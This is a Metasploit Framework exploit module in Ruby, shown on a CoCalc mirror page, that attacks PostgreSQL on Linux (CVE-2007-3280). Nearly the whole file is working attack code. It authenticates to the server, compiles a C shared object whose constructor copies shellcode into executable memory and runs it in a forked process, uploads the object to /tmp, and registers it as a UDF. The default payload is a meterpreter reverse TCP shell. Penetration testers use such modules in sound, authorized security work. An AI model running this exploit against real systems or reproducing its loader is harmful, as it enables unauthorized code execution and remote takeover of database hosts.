CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/postgres/postgres_payload.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = ExcellentRanking
9
10
include Msf::Exploit::Remote::Postgres
11
include Msf::Auxiliary::Report
12
include Msf::OptionalSession::PostgreSQL
13
14
# Creates an instance of this module.
15
def initialize(info = {})
16
super(update_info(info,
17
'Name' => 'PostgreSQL for Linux Payload Execution',
18
'Description' => %q{
19
On some default Linux installations of PostgreSQL, the
20
postgres service account may write to the /tmp directory, and
21
may source UDF Shared Libraries from there as well, allowing
22
execution of arbitrary code.
23
24
This module compiles a Linux shared object file, uploads it to
25
the target host via the UPDATE pg_largeobject method of binary
26
injection, and creates a UDF (user defined function) from that
27
shared object. Because the payload is run as the shared object's
28
constructor, it does not need to conform to specific Postgres
29
API versions.
30
},
31
'Author' =>
32
[
33
'midnitesnake', # this Metasploit module
34
'egypt', # on-the-fly compiled .so technique
35
'todb', # original windows module this is based on
36
'lucipher' # updated module to work on Postgres 8.2+
37
],
38
'License' => MSF_LICENSE,
39
'References' =>
40
[
41
[ 'CVE', '2007-3280' ],
42
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
43
],
44
'Platform' => 'linux',
45
'Payload' =>
46
{
47
'Space' => 65535,
48
'DisableNops' => true,
49
},
50
'Targets' =>
51
[
52
[ 'Linux x86',
53
{
54
'Arch' => ARCH_X86,
55
'DefaultOptions' => {
56
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
57
}
58
}
59
],
60
[ 'Linux x86_64',
61
{
62
'Arch' => ARCH_X64,
63
'DefaultOptions' => {
64
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
65
}
66
}
67
],
68
],
69
'DefaultTarget' => 0,
70
'DisclosureDate' => '2007-06-05'
71
))
72
73
deregister_options('SQL', 'RETURN_ROWSET')
74
end
75
76
def check
77
version = postgres_fingerprint
78
79
if version[:auth]
80
return CheckCode::Appears
81
else
82
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
83
return CheckCode::Safe
84
end
85
end
86
87
def exploit
88
self.postgres_conn = session.client if session
89
90
version = do_login(username,password,database)
91
case version
92
when :noauth; print_error "Authentication failed"; return
93
when :noconn; print_error "Connection failed"; return
94
else
95
print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")
96
end
97
98
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
99
100
unless postgres_upload_binary_data(payload_so(fname), fname)
101
print_error "Could not upload the UDF SO"
102
return
103
end
104
105
print_status "Uploaded as #{fname}, should be cleaned up automatically"
106
begin
107
func_name = Rex::Text.rand_text_alpha(10)
108
postgres_query(
109
"create or replace function pg_temp.#{func_name}()"+
110
" returns void as '#{fname}','#{func_name}'"+
111
" language c strict immutable"
112
)
113
rescue RuntimeError => e
114
print_error "Failed to create UDF function: #{e.class}: #{e}"
115
end
116
postgres_logout if @postgres_conn && session.blank?
117
118
end
119
120
# Authenticate to the postgres server.
121
#
122
# Returns the version from #postgres_fingerprint
123
def do_login(user=nil,pass=nil,database=nil)
124
begin
125
password = pass || postgres_password
126
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
127
result = postgres_fingerprint(
128
:db => database,
129
:username => user,
130
:password => password
131
)
132
if result[:auth]
133
report_service(
134
:host => postgres_conn.peerhost,
135
:port => postgres_conn.peerport,
136
:name => "postgres",
137
:info => result.values.first
138
)
139
return result[:auth]
140
else
141
print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
142
return :noauth
143
end
144
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
145
return :noconn
146
end
147
end
148
149
150
def payload_so(filename)
151
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
152
#shellcode = "\\xcc"
153
154
c = %Q^
155
int _exit(int);
156
int printf(const char*, ...);
157
int perror(const char*);
158
void *mmap(int, int, int, int, int, int);
159
void *memcpy(void *, const void *, int);
160
int mprotect(void *, int, int);
161
int fork();
162
int unlink(const char *pathname);
163
164
#define MAP_PRIVATE 2
165
#define MAP_ANONYMOUS 32
166
#define PROT_READ 1
167
#define PROT_WRITE 2
168
#define PROT_EXEC 4
169
170
#define PAGESIZE 0x1000
171
172
typedef struct _Pg_magic_struct {
173
int len;
174
int version;
175
int funcmaxargs;
176
int indexmaxkeys;
177
int namedatalen;
178
int float4byval;
179
int float8byval;
180
} Pg_magic_struct;
181
182
extern const Pg_magic_struct *PG_MAGIC_FUNCTION_NAME(void);
183
184
const Pg_magic_struct * PG_MAGIC_FUNCTION_NAME(void)
185
{
186
static const Pg_magic_struct Pg_magic_data = {sizeof(Pg_magic_struct), 804, 100, 32, 64, 1, 1};
187
return &Pg_magic_data;
188
}
189
190
char shellcode[] = "#{shellcode}";
191
192
void run_payload(void) __attribute__((constructor));
193
194
void run_payload(void)
195
{
196
int (*fp)();
197
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
198
199
memcpy(fp, shellcode, sizeof(shellcode));
200
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
201
_exit(1);
202
}
203
if (!fork()) {
204
fp();
205
}
206
207
unlink("#{filename}");
208
return;
209
}
210
211
^
212
213
cpu = case target_arch.first
214
when ARCH_X86; Metasm::Ia32.new
215
when ARCH_X64; Metasm::X86_64.new
216
end
217
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")
218
219
so_file = payload_so.encode_string(:lib)
220
221
so_file
222
end
223
end
224
225